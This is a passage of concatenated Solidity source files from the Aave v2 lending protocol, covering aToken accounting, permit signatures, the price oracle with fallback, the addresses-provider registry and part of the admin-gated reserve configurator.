approveDelegation(address delegatee, uint256 amount) external; /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Context} from '../../dependencies/openzeppelin/contracts/Context.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title ERC20 * @notice Basic ERC20 implementation * @author Aave, inspired by the Openzeppelin ERC20 implementation **/ abstract contract IncentivizedERC20 is Context, IERC20, IERC20Detailed { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name, string memory symbol, uint8 decimals ) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return The name of the token **/ function name() public view override returns (string memory) { return _name; } /** * @return The symbol of the token **/ function symbol() public view override returns (string memory) { return _symbol; } /** * @return The decimals of the token **/ function decimals() public view override returns (uint8) { return _decimals; } /** * @return The total supply of the token **/ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @return The balance of the token **/ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @return Abstract function implemented by the child aToken/debtToken. * Done this way in order to not break compatibility with previous versions of aTokens/debtTokens **/ function _getIncentivesController() internal view virtual returns(IAaveIncentivesController); /** * @dev Executes a transfer of tokens from _msgSender() to recipient * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); emit Transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the allowance of spender on the tokens owned by owner * @param owner The owner of the tokens * @param spender The user allowed to spend the owner's tokens * @return The amount of owner's tokens spender is allowed to spend **/ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Allows `spender` to spend the tokens owned by _msgSender() * @param spender The user allowed to spend _msgSender() tokens * @return `true` **/ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Executes a transfer of token from sender to recipient, if _msgSender() is allowed to do so * @param sender The owner of the tokens * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); emit Transfer(sender, recipient, amount); return true; } /** * @dev Increases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param addedValue The amount being added to the allowance * @return `true` **/ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Decreases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param subtractedValue The amount being subtracted to the allowance * @return `true` **/ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); uint256 oldSenderBalance = _balances[sender]; _balances[sender] = oldSenderBalance.sub(amount, 'ERC20: transfer amount exceeds balance'); uint256 oldRecipientBalance = _balances[recipient]; _balances[recipient] = _balances[recipient].add(amount); if (address(_getIncentivesController()) != address(0)) { uint256 currentTotalSupply = _totalSupply; _getIncentivesController().handleAction(sender, currentTotalSupply, oldSenderBalance); if (sender != recipient) { _getIncentivesController().handleAction(recipient, currentTotalSupply, oldRecipientBalance); } } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.add(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.sub(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, 'ERC20: burn amount exceeds balance'); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setName(string memory newName) internal { _name = newName; } function _setSymbol(string memory newSymbol) internal { _symbol = newSymbol; } function _setDecimals(uint8 newDecimals) internal { _decimals = newDecimals; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {VariableDebtToken} from '../../protocol/tokenization/VariableDebtToken.sol'; contract MockVariableDebtToken is VariableDebtToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {AToken} from '../../protocol/tokenization/AToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; contract MockAToken is AToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from './IncentivizedERC20.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title Aave ERC20 AToken * @dev Implementation of the interest bearing token for the Aave protocol * @author Aave */ contract AToken is VersionedInitializable, IncentivizedERC20('ATOKEN_IMPL', 'ATOKEN_IMPL', 0), IAToken { using WadRayMath for uint256; using SafeERC20 for IERC20; bytes public constant EIP712_REVISION = bytes('1'); bytes32 internal constant EIP712_DOMAIN = keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'); bytes32 public constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'); uint256 public constant ATOKEN_REVISION = 0x1; /// @dev owner => next valid nonce to submit with permit() mapping(address => uint256) public _nonces; bytes32 public DOMAIN_SEPARATOR; ILendingPool internal _pool; address internal _treasury; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; modifier onlyLendingPool { require(_msgSender() == address(_pool), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } function getRevision() internal pure virtual override returns (uint256) { return ATOKEN_REVISION; } /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external override initializer { uint256 chainId; //solium-disable-next-line assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( EIP712_DOMAIN, keccak256(bytes(aTokenName)), keccak256(EIP712_REVISION), chainId, address(this) ) ); _setName(aTokenName); _setSymbol(aTokenSymbol); _setDecimals(aTokenDecimals); _pool = pool; _treasury = treasury; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), treasury, address(incentivesController), aTokenDecimals, aTokenName, aTokenSymbol, params ); } /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount); emit Transfer(user, address(0), amount); emit Burn(user, receiverOfUnderlying, amount, index); } /** * @dev Mints `amount` aTokens to `user` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { uint256 previousBalance = super.balanceOf(user); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(user, amountScaled); emit Transfer(address(0), user, amount); emit Mint(user, amount, index); return previousBalance == 0; } /** * @dev Mints aTokens to the reserve treasury * - Only callable by the LendingPool * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external override onlyLendingPool { if (amount == 0) { return; } address treasury = _treasury; // Compared to the normal mint, we don't check for rounding errors. // The amount to mint can easily be very small since it is a fraction of the interest ccrued. // In that case, the treasury will experience a (very small) loss, but it // wont cause potentially valid transactions to fail. _mint(treasury, amount.rayDiv(index)); emit Transfer(address(0), treasury, amount); emit Mint(treasury, amount, index); } /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * - Only callable by the LendingPool * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external override onlyLendingPool { // Being a normal transfer, the Transfer() and BalanceTransfer() are emitted // so no need to emit a specific event here _transfer(from, to, value, false); emit Transfer(from, to, value); } /** * @dev Calculates the balance of the user: principal balance + interest generated by the principal * @param user The user whose balance is calculated * @return The balance of the user **/ function balanceOf(address user) public view override(IncentivizedERC20, IERC20) returns (uint256) { return super.balanceOf(user).rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset)); } /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev calculates the total supply of the specific aToken * since the balance of every single user increases over time, the total supply * does that too. * @return the current total supply **/ function totalSupply() public view override(IncentivizedERC20, IERC20) returns (uint256) { uint256 currentSupplyScaled = super.totalSupply(); if (currentSupplyScaled == 0) { return 0; } return currentSupplyScaled.rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the address of the Aave treasury, receiving the fees on this aToken **/ function RESERVE_TREASURY_ADDRESS() public view returns (address) { return _treasury; } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } /** * @dev For internal usage in the logic of the parent contract IncentivizedERC20 **/ function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param target The recipient of the aTokens * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address target, uint256 amount) external override onlyLendingPool returns (uint256) { IERC20(_underlyingAsset).safeTransfer(target, amount); return amount; } /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external override onlyLendingPool {} /** * @dev implements the permit function as for * https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md * @param owner The owner of the funds * @param spender The spender * @param value The amount * @param deadline The deadline timestamp, type(uint256).max for max deadline * @param v Signature param * @param s Signature param * @param r Signature param */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), 'INVALID_OWNER'); //solium-disable-next-line require(block.timestamp <= deadline, 'INVALID_EXPIRATION'); uint256 currentValidNonce = _nonces[owner]; bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline)) ) ); require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE'); _nonces[owner] = currentValidNonce.add(1); _approve(owner, spender, value); } /** * @dev Transfers the aTokens between two users. Validates the transfer * (ie checks for valid HF after the transfer) if required * @param from The source address * @param to The destination address * @param amount The amount getting transferred * @param validate `true` if the transfer needs to be validated **/ function _transfer( address from, address to, uint256 amount, bool validate ) internal { address underlyingAsset = _underlyingAsset; ILendingPool pool = _pool; uint256 index = pool.getReserveNormalizedIncome(underlyingAsset); uint256 fromBalanceBefore = super.balanceOf(from).rayMul(index); uint256 toBalanceBefore = super.balanceOf(to).rayMul(index); super._transfer(from, to, amount.rayDiv(index)); if (validate) { pool.finalizeTransfer(underlyingAsset, from, to, amount, fromBalanceBefore, toBalanceBefore); } emit BalanceTransfer(from, to, amount, index); } /** * @dev Overrides the parent _transfer to force validated transfer() and transferFrom() * @param from The source address * @param to The destination address * @param amount The amount getting transferred **/ function _transfer( address from, address to, uint256 amount ) internal override { _transfer(from, to, amount, true); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IDelegationToken} from '../../interfaces/IDelegationToken.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {AToken} from './AToken.sol'; /** * @title Aave AToken enabled to delegate voting power of the underlying asset to a different address * @dev The underlying asset needs to be compatible with the COMP delegation interface * @author Aave */ contract DelegationAwareAToken is AToken { modifier onlyPoolAdmin { require( _msgSender() == ILendingPool(_pool).getAddressesProvider().getPoolAdmin(), Errors.CALLER_NOT_POOL_ADMIN ); _; } /** * @dev Delegates voting power of the underlying asset to a `delegatee` address * @param delegatee The address that will receive the delegation **/ function delegateUnderlyingTo(address delegatee) external onlyPoolAdmin { IDelegationToken(_underlyingAsset).delegate(delegatee); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IDelegationToken * @dev Implements an interface for tokens with delegation COMP/UNI compatible * @author Aave **/ interface IDelegationToken { function delegate(address delegatee) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; import { ILendingPoolAddressesProviderRegistry } from '../../interfaces/ILendingPoolAddressesProviderRegistry.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry { mapping(address => uint256) private _addressesProviders; address[] private _addressesProvidersList; /** * @dev Returns the list of registered addresses provider * @return The list of addresses provider, potentially containing address(0) elements **/ function getAddressesProvidersList() external view override returns (address[] memory) { address[] memory addressesProvidersList = _addressesProvidersList; uint256 maxLength = addressesProvidersList.length; address[] memory activeProviders = new address[](maxLength); for (uint256 i = 0; i < maxLength; i++) { if (_addressesProviders[addressesProvidersList[i]] > 0) { activeProviders[i] = addressesProvidersList[i]; } } return activeProviders; } /** * @dev Registers an addresses provider * @param provider The address of the new LendingPoolAddressesProvider * @param id The id for the new LendingPoolAddressesProvider, referring to the market it belongs to **/ function registerAddressesProvider(address provider, uint256 id) external override onlyOwner { require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID); _addressesProviders[provider] = id; _addToAddressesProvidersList(provider); emit AddressesProviderRegistered(provider); } /** * @dev Removes a LendingPoolAddressesProvider from the list of registered addresses provider * @param provider The LendingPoolAddressesProvider address **/ function unregisterAddressesProvider(address provider) external override onlyOwner { require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED); _addressesProviders[provider] = 0; emit AddressesProviderUnregistered(provider); } /** * @dev Returns the id on a registered LendingPoolAddressesProvider * @return The id or 0 if the LendingPoolAddressesProvider is not registered */ function getAddressesProviderIdByAddress(address addressesProvider) external view override returns (uint256) { return _addressesProviders[addressesProvider]; } function _addToAddressesProvidersList(address provider) internal { uint256 providersCount = _addressesProvidersList.length; for (uint256 i = 0; i < providersCount; i++) { if (_addressesProvidersList[i] == provider) { return; } } _addressesProvidersList.push(provider); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ interface ILendingPoolAddressesProviderRegistry { event AddressesProviderRegistered(address indexed newAddress); event AddressesProviderUnregistered(address indexed newAddress); function getAddressesProvidersList() external view returns (address[] memory); function getAddressesProviderIdByAddress(address addressesProvider) external view returns (uint256); function registerAddressesProvider(address provider, uint256 id) external; function unregisterAddressesProvider(address provider) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IChainlinkAggregator} from '../interfaces/IChainlinkAggregator.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; /// @title AaveOracle /// @author Aave /// @notice Proxy smart contract to get the price of an asset from a price source, with Chainlink Aggregator /// smart contracts as primary option /// - If the returned price by a Chainlink aggregator is <= 0, the call is forwarded to a fallbackOracle /// - Owned by the Aave governance system, allowed to add sources for assets, replace them /// and change the fallbackOracle contract AaveOracle is IPriceOracleGetter, Ownable { using SafeERC20 for IERC20; event WethSet(address indexed weth); event AssetSourceUpdated(address indexed asset, address indexed source); event FallbackOracleUpdated(address indexed fallbackOracle); mapping(address => IChainlinkAggregator) private assetsSources; IPriceOracleGetter private _fallbackOracle; address public immutable WETH; /// @notice Constructor /// @param assets The addresses of the assets /// @param sources The address of the source of each asset /// @param fallbackOracle The address of the fallback oracle to use if the data of an /// aggregator is not consistent constructor( address[] memory assets, address[] memory sources, address fallbackOracle, address weth ) public { _setFallbackOracle(fallbackOracle); _setAssetsSources(assets, sources); WETH = weth; emit WethSet(weth); } /// @notice External function called by the Aave governance to set or replace sources of assets /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function setAssetSources(address[] calldata assets, address[] calldata sources) external onlyOwner { _setAssetsSources(assets, sources); } /// @notice Sets the fallbackOracle /// - Callable only by the Aave governance /// @param fallbackOracle The address of the fallbackOracle function setFallbackOracle(address fallbackOracle) external onlyOwner { _setFallbackOracle(fallbackOracle); } /// @notice Internal function to set the sources for each asset /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function _setAssetsSources(address[] memory assets, address[] memory sources) internal { require(assets.length == sources.length, 'INCONSISTENT_PARAMS_LENGTH'); for (uint256 i = 0; i < assets.length; i++) { assetsSources[assets[i]] = IChainlinkAggregator(sources[i]); emit AssetSourceUpdated(assets[i], sources[i]); } } /// @notice Internal function to set the fallbackOracle /// @param fallbackOracle The address of the fallbackOracle function _setFallbackOracle(address fallbackOracle) internal { _fallbackOracle = IPriceOracleGetter(fallbackOracle); emit FallbackOracleUpdated(fallbackOracle); } /// @notice Gets an asset price by address /// @param asset The asset address function getAssetPrice(address asset) public view override returns (uint256) { IChainlinkAggregator source = assetsSources[asset]; if (asset == WETH) { return 1 ether; } else if (address(source) == address(0)) { return _fallbackOracle.getAssetPrice(asset); } else { int256 price = IChainlinkAggregator(source).latestAnswer(); if (price > 0) { return uint256(price); } else { return _fallbackOracle.getAssetPrice(asset); } } } /// @notice Gets a list of prices from a list of assets addresses /// @param assets The list of assets addresses function getAssetsPrices(address[] calldata assets) external view returns (uint256[] memory) { uint256[] memory prices = new uint256[](assets.length); for (uint256 i = 0; i < assets.length; i++) { prices[i] = getAssetPrice(assets[i]); } return prices; } /// @notice Gets the address of the source for an asset address /// @param asset The address of the asset /// @return address The address of the source function getSourceOfAsset(address asset) external view returns (address) { return address(assetsSources[asset]); } /// @notice Gets the address of the fallback oracle /// @return address The addres of the fallback oracle function getFallbackOracle() external view returns (address) { return address(_fallbackOracle); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IChainlinkAggregator { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import { InitializableImmutableAdminUpgradeabilityProxy } from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {IInitializableDebtToken} from '../../interfaces/IInitializableDebtToken.sol'; import {IInitializableAToken} from '../../interfaces/IInitializableAToken.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; import {ILendingPoolConfigurator} from '../../interfaces/ILendingPoolConfigurator.sol'; /** * @title LendingPoolConfigurator contract * @author Aave * @dev Implements the configuration methods for the Aave protocol **/ contract LendingPoolConfigurator is VersionedInitializable, ILendingPoolConfigurator { using SafeMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; ILendingPoolAddressesProvider internal addressesProvider; ILendingPool internal pool; modifier onlyPoolAdmin { require(addressesProvider.getPoolAdmin() == msg.sender, Errors.CALLER_NOT_POOL_ADMIN); _; } modifier onlyEmergencyAdmin { require( addressesProvider.getEmergencyAdmin() == msg.sender, Errors.LPC_CALLER_NOT_EMERGENCY_ADMIN ); _; } uint256 internal constant CONFIGURATOR_REVISION = 0x1; function getRevision() internal pure override returns (uint256) { return CONFIGURATOR_REVISION; } function initialize(ILendingPoolAddressesProvider provider) public initializer { addressesProvider = provider; pool = ILendingPool(addressesProvider.getLendingPool()); } /** * @dev Initializes reserves in batch **/ function batchInitReserve(InitReserveInput[] calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; for (uint256 i = 0; i < input.length; i++) { _initReserve(cachedPool, input[i]); } } function _initReserve(ILendingPool pool, InitReserveInput calldata input) internal { address aTokenProxyAddress = _initTokenWithProxy( input.aTokenImpl, abi.encodeWithSelector( IInitializableAToken.initialize.selector, pool, input.treasury, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.aTokenName, input.aTokenSymbol, input.params ) ); address stableDebtTokenProxyAddress = _initTokenWithProxy( input.stableDebtTokenImpl, abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, pool, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.stableDebtTokenName, input.stableDebtTokenSymbol, input.params ) ); address variableDebtTokenProxyAddress = _initTokenWithProxy( input.variableDebtTokenImpl, abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, pool, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.variableDebtTokenName, input.variableDebtTokenSymbol, input.params ) ); pool.initReserve( input.underlyingAsset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, input.interestRateStrategyAddress ); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(input.underlyingAsset); currentConfig.setDecimals(input.underlyingAssetDecimals); currentConfig.setActive(true); currentConfig.setFrozen(false); pool.setConfiguration(input.underlyingAsset, currentConfig.data); emit ReserveInitialized( input.underlyingAsset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, input.interestRateStrategyAddress ); } /** * @dev Updates the aToken implementation for the reserve **/ function updateAToken(UpdateATokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableAToken.initialize.selector, cachedPool, input.treasury, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.aTokenAddress, input.implementation, encodedCall ); emit ATokenUpgraded(input.asset, reserveData.aTokenAddress, input.implementation); } /** * @dev Updates the stable debt token implementation for the reserve **/ function updateStableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.stableDebtTokenAddress, input.implementation, encodedCall ); emit StableDebtTokenUpgraded( input.asset, reserveData.stableDebtTokenAddress, input.implementation ); } /** * @dev Updates the variable debt token implementation for the asset **/ function updateVariableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.variableDebtTokenAddress, input.implementation, encodedCall ); emit VariableDebtTokenUpgraded( input.asset, reserveData.variableDebtTokenAddress, input.implementation ); } /** * @dev Enables borrowing on a reserve * @param asset The address of the underlying asset of the reserve * @param stableBorrowRateEnabled True if stable borrow rate needs to be enabled by default on this reserve **/ function enableBorrowingOnReserve(address asset, bool stableBorrowRateEnabled) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(true); currentConfig.setStableRateBorrowingEnabled(stableBorrowRateEnabled); pool.setConfiguration(asset, currentConfig.data); emit BorrowingEnabledOnReserve(asset, stableBorrowRateEnabled); } /** * @dev Disables borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableBorrowingOnReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit BorrowingDisabledOnReserve(asset); } /** * @dev Configures the reserve collateralization parameters * all the values are expressed in percentages with two decimals of precision. A valid value is 10000, which means 100.00% * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this 